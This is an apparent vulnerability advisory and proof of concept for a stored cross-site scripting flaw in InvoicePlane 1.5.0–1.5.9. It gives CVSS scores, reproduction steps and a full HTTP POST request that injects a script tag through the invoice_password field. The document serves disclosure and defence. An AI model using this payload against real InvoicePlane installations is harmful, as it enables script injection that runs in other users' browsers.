InvoicePlane 1.5.0 "PDF password" parameter Stored XSS (v1.5.0 to 1.5.9)

Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 3.5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

POC: A Stored Cross-site scripting (XSS) was discovered in InvoicePlane application versions from v1.5.0 to v1.5.9( After logging into the InvoicePlane application, browse to "view invoices" option available at and select any ivoice for Demonstartion, In this invoice page inject a JavaScript payload in "PDF password" parameter input. Injected JS payload will be sent to server as POST parameter data in "invoice_password" POST field Below is the POST Request for the InvoicePlane Application to execute Stored XSS: (Invoice_password parameter is vulnerable to Stored XSS): POST /index.php/invoices/ajax/save HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 786 Cookie: ip_csrf_cookie=e6daab2293247ef975dc1e2bf621716e; ip_session=ki8khmtnpv7t3jkcj0q6dvsjm46oa6va Connection: close invoice_id=32& invoice_number=INV-19-0032& invoice_date_created=01%2F30%2F2019& invoice_date_due=03%2F01%2F2019& invoice_status_id=1& invoice_password=tester"><script>alert("StoredXSS")</script>& items=%5B%7B%22invoice_id%22%3A%2232%22%2C%22item_id%22%3A%22%22%2C%22item_product_id%22%3A%22%22%2C%22item_task_id%22%3A%22%22%2C%22item_name%22%3A%22%22%2C%22item_quantity%22%3A%22%22%2C%22item_price%22%3A%22%22%2C%22item_discount_amount%22%3A%22%22%2C%22item_tax_rate_id%22%3A%220%22%2C%22item_description%22%3A%22%22%2C%22item_product_unit_id%22%3A%220%22%2C%22item_order%22%3A1%7D%5D& invoice_discount_amount=& invoice_discount_percent=& invoice_terms=& custom%5B0%5D%5Bname%5D=custom%5B3%5D& custom%5B0%5D%5Bvalue%5D=& payment_method=0& _ip_csrf=e6daab2293247ef975dc1e2bf621716e


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